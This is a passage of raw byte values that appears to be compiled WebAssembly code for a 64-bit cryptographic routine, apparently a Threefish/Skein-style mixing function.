37,32,52,133,33,33,32,32,32,35,133,32,29,32,43,133,32,26,32,41,131,133,34,41,133,33,29,32,32,32,36,133,33,42,32,39,32,44,133,32,59,32,51,133,32,38,131,32,30,133,34,26,133,32,56,32,46,133,32,27,131,32,25,133,34,27,32,48,131,32,57,133,34,38,133,34,25,32,58,133,34,30,32,27,32,40,133,34,35,32,49,133,32,64,32,44,131,133,34,27,32,39,133,32,0,65,5,116,65,184,63,106,41,0,0,34,36,32,34,32,35,133,32,39,32,63,133,32,26,32,49,131,133,34,35,133,34,26,66,127,133,131,133,34,40,131,32,36,133,33,39,32,27,66,32,134,32,27,66,32,136,132,34,36,32,34,66,32,134,32,34,66,32,136,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,25,66,32,134,32,25,66,32,136,132,34,25,66,127,133,131,133,34,44,131,32,27,133,33,45,32,40,32,26,32,34,32,38,133,34,40,66,127,133,34,38,131,133,33,34,32,44,32,25,32,35,66,32,134,32,35,66,32,136,132,34,44,66,127,133,34,43,131,133,33,27,32,26,32,30,66,127,133,131,34,48,32,38,133,34,49,32,30,32,34,32,26,131,133,34,35,132,32,34,133,34,38,32,39,131,32,35,133,34,46,32,25,32,36,66,127,133,131,34,51,32,43,133,34,43,32,27,32,25,131,32,36,133,34,36,132,32,27,133,34,47,133,33,30,32,38,32,45,133,32,51,32,44,133,32,27,131,32,25,133,34,27,133,32,48,32,40,133,32,34,131,32,26,133,34,34,32,35,131,32,49,133,34,40,133,33,35,32,34,32,39,133,34,39,32,36,133,32,47,32,45,131,133,34,26,32,38,133,33,25,32,35,32,46,133,33,34,32,30,32,39,133,32,38,32,43,133,32,27,32,36,131,133,34,39,133,33,27,32,30,32,40,133,33,38,32,60,66,7,124,34,60,66,42,84,13,0,11,32,1,32,28,55,3,0,32,5,32,33,55,3,0,32,3,32,30,55,3,0,32,7,32,26,55,3,0,32,2,32,25,55,3,0,32,4,32,32,55,3,0,32,6,32,34,55,3,0,32,8,32,31,55,3,0,32,23,32,9,41,3,0,32,29,133,55,3,0,32,19,32,10,41,3,0,32,27,133,55,3,0,32,24,32,11,41,3,0,32,35,133,55,3,0,32,20,32,12,41,3,0,32,37,133,55,3,0,32,21,32,13,41,3,0,32,42,133,55,3,0,32,17,32,14,41,3,0,32,38,133,55,3,0,32,22,32,15,41,3,0,32,39,133,55,3,0,32,18,32,16,41,3,0,32,41,133,55,3,0,11,179,52,2,9,127,42,126,32,3,173,33,44,32,2,65,127,106,173,33,45,32,0,65,8,106,34,4,41,3,0,34,46,33,36,32,0,65,16,106,34,5,41,3,0,33,34,32,0,65,208,0,106,34,6,41,3,0,33,26,32,0,65,200,0,106,34,7,41,3,0,33,25,32,0,65,192,0,106,34,8,41,3,0,33,24,32,0,65,56,106,34,9,41,3,0,33,27,32,0,65,48,106,34,10,41,3,0,33,28,32,0,65,40,106,34,11,41,3,0,33,29,32,0,65,32,106,34,12,41,3,0,33,30,32,0,65,24,106,34,3,41,3,0,33,31,3,64,32,36,32,44,124,34,36,32,34,133,33,35,32,1,65,192,0,106,33,0,32,1,41,0,0,34,47,32,31,124,32,1,41,0,8,34,48,32,30,124,34,13,124,33,21,32,1,41,0,48,34,49,32,34,32,25,124,34,37,124,32,1,41,0,56,34,50,32,26,124,34,17,124,33,22,32,1,41,0,16,34,51,32,29,124,32,1,41,0,24,34,52,32,28,124,34,14,124,34,16,32,13,66,46,134,32,13,66,18,136,132,32,21,133,34,20,124,33,19,32,17,66,37,134,32,17,66,27,136,132,32,22,133,34,18,32,1,41,0,32,34,53,32,27,124,32,1,41,0,40,34,54,32,36,32,24,124,34,38,124,34,15,124,34,17,124,33,13,32,14,66,36,134,32,14,66,28,136,132,32,16,133,34,14,32,21,124,33,33,32,18,66,27,134,32,18,66,37,136,132,32,13,133,34,23,32,19,124,33,21,32,13,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,16,124,34,13,32,16,66,17,134,32,16,66,47,136,132,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,17,133,34,15,32,22,124,34,16,32,14,66,42,134,32,14,66,22,136,132,32,33,133,34,14,124,34,17,124,33,20,32,13,32,14,66,49,134,32,14,66,15,136,132,32,17,133,34,19,124,33,22,32,23,66,39,134,32,23,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,33,124,34,16,124,34,17,32,30,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,35,32,26,124,34,39,124,32,26,66,162,180,240,207,170,251,198,232,27,133,32,25,133,32,24,133,32,27,133,32,28,133,32,29,133,32,30,133,32,31,133,34,32,66,1,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,32,32,36,124,34,40,124,32,31,66,2,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,34,32,31,124,34,41,124,32,30,66,3,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,35,32,30,124,34,42,124,32,29,66,4,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,36,32,29,124,34,33,124,32,28,66,5,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,34,32,28,124,34,43,124,32,27,66,6,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,26,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,32,124,34,13,124,33,18,32,20,32,35,32,27,124,34,35,124,32,24,66,7,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,31,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,30,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,29,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,43,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,32,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,31,124,34,13,124,33,19,32,18,32,38,124,32,25,66,8,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,30,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,29,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,28,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,35,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,31,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,30,124,34,13,124,33,20,32,19,32,37,124,32,26,66,9,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,29,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,28,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,27,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,38,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,30,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,39,124,32,32,66,10,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,40,124,32,31,66,11,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,41,124,32,30,66,12,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,42,124,32,29,66,13,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,33,124,32,28,66,14,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,43,124,32,27,66,15,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,33,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,21,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,18,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,15,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,33,133,34,14,32,18,66,10,134,32,18,66,54,136,132,32,16,133,34,19,32,23,124,34,16,124,34,17,32,26,124,32,21,66,8,134,32,21,66,56,136,132,32,15,133,32,32,124,34,13,124,33,18,32,15,32,35,124,32,24,66,16,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,15,32,19,66,39,134,32,19,66,25,136,132,32,16,133,34,13,32,33,124,34,17,32,31,124,32,20,66,22,134,32,20,66,42,136,132,32,22,133,32,30,124,34,16,124,34,24,124,33,20,32,18,32,16,66,36,134,32,16,66,28,136,132,32,24,133,34,19,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,29,124,32,13,66,56,134,32,13,66,8,136,132,32,17,133,32,43,124,34,13,124,34,17,124,34,24,32,15,66,33,134,32,15,66,31,136,132,32,20,133,34,16,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,24,133,34,15,32,20,124,33,22,32,16,66,17,134,32,16,66,47,136,132,32,18,133,34,14,32,13,66,19,134,32,13,66,45,136,132,32,17,133,34,13,32,23,124,34,17,32,19,66,42,134,32,19,66,22,136,132,32,21,133,34,16,124,34,24,124,33,19,32,18,32,16,66,49,134,32,16,66,15,136,132,32,24,133,34,18,124,33,20,32,15,66,39,134,32,15,66,25,136,132,32,22,133,34,16,32,13,66,14,134,32,13,66,50,136,132,32,17,133,34,15,32,21,124,34,17,124,34,24,32,32,124,32,14,66,44,134,32,14,66,20,136,132,32,19,133,32,31,124,34,13,124,33,14,32,19,32,38,124,32,25,66,17,124,32,16,66,9,134,32,16,66,55,136,132,32,24,133,124,34,16,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,14,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,17,133,34,13,32,22,124,34,24,32,30,124,32,18,66,56,134,32,18,66,8,136,132,32,20,133,32,29,124,34,17,124,34,25,124,33,18,32,14,32,17,66,30,134,32,17,66,34,136,132,32,25,133,34,15,124,33,22,32,16,66,24,134,32,16,66,40,136,132,32,21,133,34,16,32,20,32,28,124,32,13,66,54,134,32,13,66,10,136,132,32,24,133,32,35,124,34,14,124,34,24,124,34,25,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,17,124,33,13,32,16,66,50,134,32,16,66,14,136,132,32,25,133,34,16,32,18,124,33,20,32,17,66,25,134,32,17,66,39,136,132,32,13,133,34,19,32,14,66,34,134,32,14,66,30,136,132,32,24,133,34,18,32,21,124,34,24,32,15,66,17,134,32,15,66,47,136,132,32,22,133,34,17,124,34,25,124,33,15,32,13,32,17,66,29,134,32,17,66,35,136,132,32,25,133,34,14,124,33,13,32,3,32,16,66,43,134,32,16,66,21,136,132,32,20,133,34,16,32,18,66,10,134,32,18,66,54,136,132,32,24,133,34,24,32,22,124,34,25,124,34,17,32,31,124,32,47,133,34,31,55,3,0,32,12,32,19,66,8,134,32,19,66,56,136,132,32,15,133,32,30,124,32,48,133,34,30,55,3,0,32,11,32,24,66,39,134,32,24,66,25,136,132,32,25,133,34,24,32,20,124,34,25,32,29,124,32,51,133,34,29,55,3,0,32,10,32,14,66,22,134,32,14,66,42,136,132,32,13,133,32,28,124,32,52,133,34,28,55,3,0,32,9,32,13,32,27,124,32,53,133,34,27,55,3,0,32,8,32,24,66,56,134,32,24,66,8,136,132,32,25,133,32,38,124,32,54,133,34,24,55,3,0,32,7,32,15,32,37,124,32,49,133,34,25,55,3,0,32,6,32,26,66,18,124,32,16,66,35,134,32,16,66,29,136,132,32,17,133,124,32,50,133,34,26,55,3,0,32,34,66,255,255,255,255,255,255,255,255,191,127,131,33,34,32,2,65,127,106,34,2,4,64,32,0,33,1,12,1,11,11,32,4,32,46,32,45,66,1,124,32,44,126,124,55,3,0,32,5,32,34,55,3,0,11,236,10,1,67,127,35,4,33,3,35,4,65,128,2,106,36,4,32,2,65,63,76,4,64,32,3,36,4,15,11,32,3,65,192,0,106,33,4,32,3,65,192,1,106,34,5,65,4,106,33,8,32,5,65,8,106,33,9,32,5,65,12,106,33,10,32,5,65,16,106,33,11,32,5,65,20,106,33,12,32,5,65,24,106,33,13,32,5,65,28,106,33,14,32,5,65,32,106,33,15,32,5,65,36,106,33,16,32,5,65,40,106,33,17,32,5,65,44,106,33,18,32,5,65,48,106,33,19,32,5,65,52,106,33,20,32,5,65,56,106,33,21,32,5,65,60,106,33,22,32,3,65,128,1,106,34,6,65,4,106,33,55,32,6,65,8,106,33,56,32,6,65,12,106,33,57,32,6,65,16,106,33,